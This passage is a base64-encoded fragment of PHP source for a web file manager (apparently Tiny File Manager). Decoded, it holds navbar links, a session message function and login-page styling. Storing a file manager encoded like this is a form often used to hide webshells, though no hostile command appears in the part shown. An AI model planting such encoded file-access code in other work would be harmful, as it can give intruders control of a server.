WEtbGFiZWxsZWRieT0ibmF2YmFyRHJvcGRvd25NZW51TGluay01IiBkYXRhLWJzLXRoZW1lPSI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnU2V0dGluZ3MnKSA/PiIgY2xhc3M9ImRyb3Bkb3duLWl0ZW0gbmF2LWxpbmsiIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDtzZXR0aW5ncz0xIj48aSBjbGFzcz0iZmEgZmEtY29nIiBhcmlhLWhpZGRlbj0idHJ1ZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnU2V0dGluZ3MnKSA/PjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZiA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnSGVscCcpID8+IiBjbGFzcz0iZHJvcGRvd24taXRlbSBuYXYtbGluayIgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2hlbHA9MiI+PGkgY2xhc3M9ImZhIGZhLWV4Y2xhbWF0aW9uLWNpcmNsZSIgYXJpYS1oaWRkZW49InRydWUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ0hlbHAnKSA/PjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ0xvZ291dCcpID8+IiBjbGFzcz0iZHJvcGRvd24taXRlbSBuYXYtbGluayIgaHJlZj0iP2xvZ291dD0xIj48aSBjbGFzcz0iZmEgZmEtc2lnbi1vdXQiIGFyaWEtaGlkZGVuPSJ0cnVlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdMb2dvdXQnKSA/PjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8L2xpPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVsc2U6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJuYXYtaXRlbSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdTZXR0aW5ncycpID8+IiBjbGFzcz0iZHJvcGRvd24taXRlbSBuYXYtbGluayIgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO3NldHRpbmdzPTEiPjxpIGNsYXNzPSJmYSBmYS1jb2ciIGFyaWEtaGlkZGVuPSJ0cnVlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdTZXR0aW5ncycpID8+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICA8L3VsPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDwvbmF2Pgo8P3BocAp9CgovKioKICogU2hvdyBhbGVydCBtZXNzYWdlIGZyb20gc2Vzc2lvbgogKi8KZnVuY3Rpb24gZm1fc2hvd19tZXNzYWdlKCkKewogICAgaWYgKGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbWVzc2FnZSddKSkgewogICAgICAgICRjbGFzcyA9IGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnc3RhdHVzJ10pID8gJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydzdGF0dXMnXSA6ICdvayc7CiAgICAgICAgZWNobyAnPHAgY2xhc3M9Im1lc3NhZ2UgJyAuICRjbGFzcyAuICciPicgLiAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ21lc3NhZ2UnXSAuICc8L3A+JzsKICAgICAgICB1bnNldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ21lc3NhZ2UnXSk7CiAgICAgICAgdW5zZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydzdGF0dXMnXSk7CiAgICB9Cn0KCi8qKgogKiBTaG93IHBhZ2UgaGVhZGVyIGluIExvZ2luIEZvcm0KICovCmZ1bmN0aW9uIGZtX3Nob3dfaGVhZGVyX2xvZ2luKCkKewogICAgaGVhZGVyKCJDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIpOwogICAgaGVhZGVyKCJFeHBpcmVzOiBTYXQsIDI2IEp1bCAxOTk3IDA1OjAwOjAwIEdNVCIpOwogICAgaGVhZGVyKCJDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZSwgcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MCIpOwogICAgaGVhZGVyKCJQcmFnbWE6IG5vLWNhY2hlIik7CgogICAgZ2xvYmFsICRmYXZpY29uX3BhdGg7Cj8+CiAgICA8IURPQ1RZUEUgaHRtbD4KICAgIDxodG1sIGxhbmc9ImVuIiBkYXRhLWJzLXRoZW1lPSI8P3BocCBlY2hvIChGTV9USEVNRSA9PSAiZGFyayIpID8gJ2RhcmsnIDogJ2xpZ2h0JyA/PiI+CgogICAgPGhlYWQ+CiAgICAgICAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgogICAgICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MSwgc2hyaW5rLXRvLWZpdD1ubyI+CiAgICAgICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IldlYiBiYXNlZCBGaWxlIE1hbmFnZXIgaW4gUEhQLCBNYW5hZ2UgeW91ciBmaWxlcyBlZmZpY2llbnRseSBhbmQgZWFzaWx5IHdpdGggVGlueSBGaWxlIE1hbmFnZXIiPgogICAgICAgIDxtZXRhIG5hbWU9ImF1dGhvciIgY29udGVudD0iQ0NQIFByb2dyYW1tZXJzIj4KICAgICAgICA8bWV0YSBuYW1lPSJyb2JvdHMiIGNvbnRlbnQ9Im5vaW5kZXgsIG5vZm9sbG93Ij4KICAgICAgICA8bWV0YSBuYW1lPSJnb29nbGVib3QiIGNvbnRlbnQ9Im5vaW5kZXgiPgogICAgICAgIDw/cGhwIGlmICgkZmF2aWNvbl9wYXRoKSB7CiAgICAgICAgICAgIGVjaG8gJzxsaW5rIHJlbD0iaWNvbiIgaHJlZj0iJyAuIGZtX2VuYygkZmF2aWNvbl9wYXRoKSAuICciIHR5cGU9ImltYWdlL3BuZyI+JzsKICAgICAgICB9ID8+CiAgICAgICAgPHRpdGxlPjw/cGhwIGVjaG8gZm1fZW5jKEFQUF9USVRMRSkgPz48L3RpdGxlPgogICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdwcmUtanNkZWxpdnInKTsgPz4KICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnY3NzLWJvb3RzdHJhcCcpOyA/PgogICAgICAgIDxzdHlsZT4KICAgICAgICAgICAgYm9keS5mbS1sb2dpbi1wYWdlIHsKICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmN2Y5ZmI7CiAgICAgICAgICAgICAgICBmb250LXNpemU6IDE0cHg7CiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZjdmOWZiOwogICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKCJkYXRhOmltYWdlL3N2Zyt4bWwsJTNDc3ZnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2Zycgdmlld0JveD0nMCAwIDMwNCAzMDQnIHdpZHRoPSczMDQnIGhlaWdodD0nMzA0JyUzRSUzQ3BhdGggZmlsbD0nJTIzZTJlOWYxJyBmaWxsLW9wYWNpdHk9JzAuNCcgZD0nTTQ0LjEgMjI0YTUgNSAwIDEgMSAwIDJIMHYtMmg0NC4xem0xNjAgNDhhNSA1IDAgMSAxIDAgMkg4MnYtMmgxMjIuMXptNTcuOC00NmE1IDUgMCAxIDEgMC0ySDMwNHYyaC00Mi4xem0wIDE2YTUgNSAwIDEgMSAwLTJIMzA0djJoLTQyLjF6bTYuMi0xMTRhNSA1IDAgMSAxIDAgMmgtODYuMmE1IDUgMCAxIDEgMC0yaDg2LjJ6bS0yNTYtNDhhNSA1IDAgMSAxIDAgMkgwdi0yaDEyLjF6bTE4NS44IDM0YTUgNSAwIDEgMSAwLTJoODYuMmE1IDUgMCAxIDEgMCAyaC04Ni4yek0yNTggMTIuMWE1IDUgMCAxIDEtMiAwVjBoMnYxMi4xem0tNjQgMjA4YTUgNSAwIDEgMS0yIDB2LTU0LjJhNSA1IDAgMSAxIDIgMHY1NC4yem00OC0xOTguMlY4MGg2MnYyaC02NFYyMS45YTUgNSAwIDEgMSAyIDB6bTE2IDE2VjY0aDQ2djJoLTQ4VjM3LjlhNSA1IDAgMSAxIDIgMHptLTEyOCA5NlYyMDhoMTZ2MTIuMWE1IDUgMCAxIDEtMiAwVjIxMGgtMTZ2LTc2LjFhNSA1IDAgMSAxIDIgMHptLTUuOS0yMS45YTUgNSAwIDEgMSAwIDJIMTE0djQ4SDg1LjlhNSA1IDAgMSAxIDAtMkgxMTJ2LTQ4aDEyLjF6bS02LjIgMTMwYTUgNSAwIDEgMSAwLTJIMTc2di03NC4xYTUgNSAwIDEgMSAyIDBWMjQyaC02MC4xem0tMTYtNjRhNSA1IDAgMSAxIDAtMkgxMTR2NDhoMTAuMWE1IDUgMCAxIDEgMCAySDExMnYtNDhoLTEwLjF6TTY2IDI4NC4xYTUgNSAwIDEgMS0yIDBWMjc0SDUwdjMwaC0ydi0zMmgxOHYxMi4xek0yMzYuMSAxNzZhNSA1IDAgMSAxIDAgMkgyMjZ2OTRoNDh2MzJoLTJ2LTMwaC00OHYtOThoMTIuMXptMjUuOC0zMGE1IDUgMCAxIDEgMC0ySDI3NHY0NC4xYTUgNSAwIDEgMS0yIDBWMTQ2aC0xMC4xem0tNjQgOTZhNSA1IDAgMSAxIDAtMkgyMDh2LTgwaDE2di0xNGgtNDIuMWE1IDUgMCAxIDEgMC0ySDIyNnYxOGgtMTZ2ODBoLTEyLjF6bTg2LjItMjEwYTUgNSAwIDEgMSAwIDJIMjcyVjBoMnYzMmgxMC4xek05OCAxMDEuOVYxNDZINTMuOWE1IDUgMCAxIDEgMC0ySDk2di00Mi4xYTUgNSAwIDEgMSAyIDB6TTUzLjkgMzRhNSA1IDAgMSAxIDAtMkg4MFYwaDJ2MzRINTMuOXptNjAuMSAzLjlWNjZIODJ2NjRINjkuOWE1IDUgMCAxIDEgMC0ySDgwVjY0aDMyVjM3LjlhNSA1IDAgMSAxIDIgMHpNMTAxLjkgODJhNSA1IDAgMSAxIDAtMkgxMjhWMzcuOWE1IDUgMCAxIDEgMiAwVjgyaC0yOC4xem0xNi02NGE1IDUgMCAxIDEgMC0ySDE0NnY0NC4xYTUgNSAwIDEgMS0yIDBWMThoLTI2LjF6bTEwMi4yIDI3MGE1IDUgMCAxIDEgMCAySDk4djE0aC0ydi0xNmgxMjQuMXpNMjQyIDE0OS45VjE2MGgxNnYzNGgtMTZ2NjJoNDh2NDhoLTJ2LTQ2aC00OHYtNjZoMTZ2LTMwaC0xNnYtMTIuMWE1IDUgMCAxIDEgMiAwek01My45IDE4YTUgNSAwIDEgMSAwLTJINjRWMkg0OFYwaDE4djE4SDUzLjl6bTExMiAzMmE1IDUgMCAxIDEgMC0ySDE5MlYwaDUwdjJoLTQ4djQ4aC0yOC4xem0tNDgtNDhhNSA1IDAgMCAxLTkuOC0yaDIuMDdhMyAzIDAgMSAwIDUuNjYgMEgxNzh2MzRoLTE4VjIxLjlhNSA1IDAgMSAxIDIgMFYzMmgxNFYyaC01OC4xem0wIDk2YTUgNSAwIDEgMSAwLTJIMTM3bDMyLTMyaDM5VjIxLjlhNSA1IDAgMSAxIDIgMFY2NmgtNDAuMTdsLTMyIDMySDExNy45em0yOC4xIDkwLjFhNSA1IDAgMSAxLTIgMHYtNzYuNTFMMTc1LjU5IDgwSDIyNFYyMS45YTUgNSAwIDEgMSAyIDBWODJoLTQ5LjU5TDE0NiAxMTIuNDF2NzUuNjl6bTE2IDMyYTUgNSAwIDEgMS0yIDB2LTk5LjUxTDE4NC41OSA5NkgzMDAuMWE1IDUgMCAwIDEgMy45LTMuOXYyLjA3YTMgMyAwIDAgMCAwIDUuNjZ2Mi4wN2E1IDUgMCAwIDEtMy45LTMuOUgxODUuNDFMMTYyIDEyMS40MXY5OC42OXptLTE0NC02NGE1IDUgMCAxIDEtMiAwdi0zLjUxbDQ4LTQ4VjQ4aDMyVjBoMnY1MEg2NnY1NS40MWwtNDggNDh2Mi42OXpNNTAgNTMuOXY0My41MWwtNDggNDhWMjA4aDI2LjFhNSA1IDAgMSAxIDAgMkgwdi02NS40MWw0OC00OFY1My45YTUgNSAwIDEgMSAyIDB6bS0xNiAxNlY4OS40MWwtMzQgMzR2LTIuODJsMzItMzJWNjkuOWE1IDUgMCAxIDEgMiAwek0xMi4xIDMyYTUgNSAwIDEgMSAwIDJIOS40MUwwIDQzLjQxVjQwLjZMOC41OSAzMmgzLjUxem0yNjUuOCAxOGE1IDUgMCAxIDEgMC0yaDE4LjY5bDcuNDEtNy40MXYyLjgyTDI5Ny40MSA1MEgyNzcuOXptLTE2IDE2MGE1IDUgMCAxIDEgMC0ySDI4OHYtNzEuNDFsMTYtMTZ2Mi44MmwtMTQgMTRWMjEwaC0yOC4xem0tMjA4IDMyYTUgNSAwIDEgMSAwLTJINjR2LTIyLjU5TDQwLjU5IDE5NEgyMS45YTUgNSAwIDEgMSAwLTJINDEuNDFMNjYgMjE2LjU5VjI0Mkg1My45em0xNTAuMiAxNGE1IDUgMCAxIDEgMCAySDk2di01Ni42TDU2LjYgMTYySDM3LjlhNSA1IDAgMSAxIDAtMmgxOS41TDk4IDIwMC42VjI1NmgxMDYuMXptLTE1MC4yIDJhNSA1IDAgMSAxIDAtMkg4MHYtNDYuNTlMNDguNTkgMTc4SDIxLjlhNSA1IDAgMSAxIDAtMkg0OS40MUw4MiAyMDguNTlWMjU4SDUzLjl6TTM0IDM5Ljh2MS42MUw5LjQxIDY2SDB2LTJoOC41OUwzMiA0MC41OVYwaDJ2MzkuOHpNMiAzMDAuMWE1IDUgMCAwIDEgMy45IDMuOUgzLjgzQTMgMyAwIDAgMCAwIDMwMi4xN1YyNTZoMTh2NDhoLTJ2LTQ2SDJ2NDIuMXpNMzQgMjQxdjYzaC0ydi02Mkgwdi0yaDM0djF6TTE3IDE4SDB2LTJoMTZWMGgydjE4aC0xem0yNzMtMmgxNHYyaC0xNlYwaDJ2MTZ6bS0zMiAyNzN2MTVoLTJ2LTE0aC0xNHYxNGgtMnYtMTZoMTh2MXpNMCA5Mi4xQTUuMDIgNS4wMiAwIDAgMSA2IDk3YTUgNSAwIDAgMS02IDQuOXYtMi4wN2EzIDMgMCAxIDAgMC01LjY2VjkyLjF6TTgwIDI3MmgydjMyaC0ydi0zMnptMzcuOSAzMmgtMi4wN2EzIDMgMCAwIDAtNS42NiAwaC0yLjA3YTUgNSAwIDAgMSA5LjggMHpNNS45IDBBNS4wMiA1LjAyIDAgMCAxIDAgNS45VjMuODNBMyAzIDAgMCAwIDMuODMgMEg1Ljl6bTI5NC4yIDBoMi4wN0EzIDMgMCAwIDAgMzA0IDMuODNWNS45YTUgNSAwIDAgMS0zLjktNS45em0zLjkgMzAwLjF2Mi4wN2EzIDMgMCAwIDAtMS44MyAxLjgzaC0yLjA3YTUgNSAwIDAgMSAzLjktMy45ek05NyAxMDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tNDggMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDQ4YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2IDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMzItMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0zMiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAtMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYtNjRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgOTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi0xNDRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYtMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi0xNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS05NiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMCAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptOTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNi02NGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTMyIDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2IDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNNDkgMzZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMzIgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMzMgNjhhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi00OGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMjQwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYtNjRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2LTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptODAtMTc2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNi0xNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDQ4YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYtMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTEyIDE3NmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMTcgMTgwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMCAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAtMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMTcgODRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0zMiA2NGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnonJTNFJTNDL3BhdGglM0UlM0Mvc3ZnJTNFIik7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5icmFuZCB7CiAgICAgICAgICAgICAgICB3aWR0aDogMTIxcHg7CiAgICAgICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuOwogICAgICAgICAgICAgICAgbWFyZ2luOiAwIGF1dG87CiAgICAgICAgICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7CiAgICAgICAgICAgICAgICB6LWluZGV4OiAxCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5icmFuZCBpbWcgewogICAgICAgICAgICAgICAgd2lkdGg6IDEwMCUKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmNhcmQtd3JhcHBlciB7CiAgICAgICAgICAgICAgICB3aWR0aDogMzYwcHg7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5jYXJkIHsKICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogdHJhbnNwYXJlbnQ7CiAgICAgICAgICAgICAgICBib3gtc2hhZG93OiAwIDRweCA4cHggcmdiYSgwLCAwLCAwLCAuMDUpCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5jYXJkLXRpdGxlIHsKICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEuNXJlbTsKICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMjRweDsKICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA0MDA7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5mb3JtLWNvbnRyb2wgewogICAgICAgICAgICAgICAgYm9yZGVyLXdpZHRoOiAyLjNweAogICAgICAgICAgICB9CgogICAgICAgICAgICAuZm0tbG9naW4tcGFnZSAuZm9ybS1ncm91cCBsYWJlbCB7CiAgICAgICAgICAgICAgICB3aWR0aDogMTAwJQogICAgICAgICAgICB9CgogICAgICAgICAgICAuZm0tbG9naW4tcGFnZSAuYnRuLmJ0bi1ibG9jayB7CiAgICAgICAgICAgICAgICBwYWRkaW5nOiAxMnB4IDEwcHgKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmZvb3RlciB7CiAgICAgICAgICAgICAgICBtYXJnaW46IDIwcHggMDsKICAgICAgICAgICAgICAgIGNvbG9yOiAjODg4OwogICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIEBtZWRpYSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6NDI1cHgpIHsKICAgICAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5jYXJkLXdyYXBwZXIgewogICAgICAgICAgICAgICAgICAgIHdpZHRoOiA5MCU7CiAgICAgICAgICAgICAgICAgICAgbWFyZ2luOiAwIGF1dG87CiAgICAgICAgICAgICAgICAgICAgbWFyZ2luLXRvcDogMTAlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICBAbWVkaWEgc2NyZWVuIGFuZCAobWF4LXdpZHRoOjMyMHB4KSB7CiAgICAgICAgICAgICAgICAuZm0tbG9naW4tcGFnZSAuY2FyZC5mYXQgewogICAgICAgICAgICAgICAgICAgIHBhZGRpbmc6IDAKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAuZm0tbG9naW4tcGFnZSAuY2FyZC5mYXQgLmNhcmQtYm9keSB7CiAgICAgICAgICAgICAgICAgICAgcGFkZGluZzogMTVweAogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAubWVzc2FnZSB7CiAgICAgICAgICAgICAgICBwYWRkaW5nOiA0cHggN3B4OwogICAgICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2RkZDsKICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmZmYKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLm1lc3NhZ2Uub2sgewogICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiBncmVlbjsKICAgICAgICAgICAgICAgIGNvbG9yOiBncmVlbgogICAgICAgICAgICB9CgogICAgICAgICAgICAubWVzc2FnZS5lcnJvciB7CiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6IHJlZDsKICAgICAgICAgICAgICAgIGNvbG9yOiByZWQKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLm1lc3NhZ2UuYWxlcnQgewogICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiBvcmFuZ2U7CiAgICAgICAgICAgICAgICBjb2xvcjogb3JhbmdlCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGJvZHkuZm0tbG9naW4tcGFnZS50aGVtZS1kYXJrIHsKICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyZjJhMmE7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC50aGVtZS1kYXJrIHN2ZyBnLAogICAgICAgICAgICAudGhlbWUtZGFyayBzdmcgcGF0aCB7CiAgICAgICAgICAgICAgICBmaWxsOiAjZmZmZmZmOwogICAgICAgICAgICB9CgogICAgICAgICAgICAudGhlbWUtZGFyayAuZm9ybS1jb250cm9sIHsKICAgICAgICAgICAgICAgIGNvbG9yOiAjZmZmOwogICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzQwM2UzZTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLmgtMTAwdmggewogICAgICAgICAgICAgICAgbWluLWhlaWdodDogMTAwdmg7CiAgICAgICAgICAgIH0KICAgICAgICA8L3N0eWxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IGNsYXNzPSJmbS1sb2dpbi1wYWdlIDw/cGhwIGVjaG8gKEZNX1RIRU1FID09ICJkYXJrIikgPyAndGhlbWUtZGFyaycgOiAnJzsgPz4iPgogICAgICAgIDxkaXYgaWQ9IndyYXBwZXIiIGNsYXNzPSJjb250YWluZXItZmx1aWQiPgoKICAgICAgICA8P3BocAogICAgfQoKICAgIC8qKgogICAgICogU2hvdyBwYWdlIGZvb3RlciBpbiBMb2dpbiBGb3JtCiAgICAgKi8KICAgIGZ1bmN0aW9uIGZtX3Nob3dfZm9vdGVyX2xvZ2luKCkKICAgIHsKICAgICAgICA/PgogICAgICAgIDwvZGl2PgogICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1qcXVlcnknKTsgPz4KICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtYm9vdHN0cmFwJyk7ID8+CiAgICA8L2JvZHk+CgogICAgPC9odG1sPgoKPD9waHAKICAgIH0KCiAgICAvKioKICAgICAqIFNob3cgSGVhZGVyIGFmdGVyIGxvZ2luCiAgICAgKi8KICAgIGZ1bmN0aW9uIGZtX3Nob3dfaGVhZGVyKCkKICAgIHsKICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Iik7CiAgICAgICAgaGVhZGVyKCJFeHBpcmVzOiBTYXQsIDI2IEp1bCAxOTk3IDA1OjAwOjAwIEdNVCIpOwogICAgICAgIGhlYWRlcigiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTAiKTsKICAgICAgICBoZWFkZXIoIlByYWdtYTogbm8tY2FjaGUiKTsKCiAgICAgICAgZ2xvYmFsICRzdGlja3lfbmF2YmFyLCAkZmF2aWNvbl9wYXRoOwogICAgICAgICRpc1N0aWNreU5hdkJhciA9ICRzd